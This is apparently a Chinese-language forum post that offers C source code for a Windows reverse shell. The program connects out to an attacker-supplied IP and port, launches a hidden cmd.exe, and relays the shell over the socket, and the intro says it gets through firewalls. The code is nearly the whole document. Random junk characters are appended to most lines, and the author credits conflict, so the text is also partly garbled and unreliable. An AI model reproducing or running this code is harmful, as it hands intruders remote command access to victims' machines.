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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J *?_SnZ  
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/* ============================== ^^l"brPa  
Rebound port in Windows NT 9G+rxyWMW  
By wind,2006/7 D:tZiS=0  
===============================*/ ycD.:w p\'  
#include YCO:bBmp:  
#include W2qQKv  
%)Dd{|c  
#pragma comment(lib,"wsock32.lib") QL18MbfqP  
)fc"])&8  
void OutputShell(); :w%b w\}  
SOCKET sClient;  q)+ n2FM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {+9\o ~  
n9!3h?,g  
void main(int argc,char **argv) [)>8z8'f  
{ mp3_n:R?  
WSADATA stWsaData; [_b='/8  
int nRet; }Xv1KX'  
SOCKADDR_IN stSaiClient,stSaiServer; 1iL xXd  
}F6b ]  
if(argc != 3) G | oG:  
{ T k&9Klo  
printf("Useage:\n\rRebound DestIP DestPort\n"); %nf=[f  
return; g8A{aHb1}  
} >[4|6k|\x  
.WyX/E$I^!  
WSAStartup(MAKEWORD(2,2),&stWsaData); = [os<+  
h\\2r>  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q$/FgS  
"0zXpQi,B  
stSaiClient.sin_family = AF_INET; 6D"`FPC  
stSaiClient.sin_port = htons(0); w]o5L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l zPS RT  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [Vp2!"  
{ s FYJQ90it  
printf("Bind Socket Failed!\n"); 14!a)Ijl  
return; 9k[},MM  
} @i-@mxk6<  
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stSaiServer.sin_family = AF_INET; b:cK>fh0_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~{Rt4o _W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KVpAV$|e  
SLOYlRGCi  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9~%]|_(  
{ ef:$1VIBda  
printf("Connect Error!"); ]G~N+\8]U  
return; QYw4kD}  
}  >E ;o"  
OutputShell(); edk9Qd9  
} ?mfWm{QTt  
8!Mzr1:  
void OutputShell() ,xe@G)a  
{ %aE7id>v6  
char szBuff[1024]; (`.qG &6p  
SECURITY_ATTRIBUTES stSecurityAttributes; G:C6`uiy`  
OSVERSIONINFO stOsversionInfo; 8kM0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <ZC^H  
STARTUPINFO stStartupInfo; '# IuY  
char *szShell; !XA%[u  
PROCESS_INFORMATION stProcessInformation; p2DNbY\]  
unsigned long lBytesRead; as |c`4r\O  
;6 6_G Sjz  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }rA+W-7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wp*&&0O!  
stSecurityAttributes.lpSecurityDescriptor = 0; 9iddanQA  
stSecurityAttributes.bInheritHandle = TRUE; +\[![r^P  
`e'o~ oSu  
.O%1)p  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r2F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UEQ'D9  
h*%0@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \R>5F\ 0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xnuv4Z}]t  
stStartupInfo.wShowWindow = SW_HIDE; mc=! X  
stStartupInfo.hStdInput = hReadPipe; .Jat^iFj0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mx(%tz^t  
QDgEJ%U-  
GetVersionEx(&stOsversionInfo); ji)4WG/1  
2DC cGKa"  
switch(stOsversionInfo.dwPlatformId) o- QG& ]  
{ K!D!b'|bb  
case 1: !0csNg!  
szShell = "command.com"; R{xyme@"^  
break; $aPHl  
default: [g h[F  
szShell = "cmd.exe"; LXu"rfp  
break; %v+fN?%x,d  
} u"8;fS  
~eV!!38 J  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CNRU"I+jU  
xAd>",=~  
send(sClient,szMsg,77,0); s3_e7D ^H  
while(1) Vkvb=  
{ : Nj`_2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h;ol"  
if(lBytesRead) *v nxP9<  
{ Rp`_Grcd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +`s&i%{1>  
send(sClient,szBuff,lBytesRead,0); h6T/0YhWLP  
} [' OCw {<  
else 1S[5#ewB;j  
{ ^'u;e(AaE  
lBytesRead=recv(sClient,szBuff,1024,0); e=n{f*KG`  
if(lBytesRead<=0) break; F`BgKH!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HLoQ}oK|K  
} l@Eq|y,  
} Q(;B)  
Oz#EGjz  
return; 78a-3){  
}
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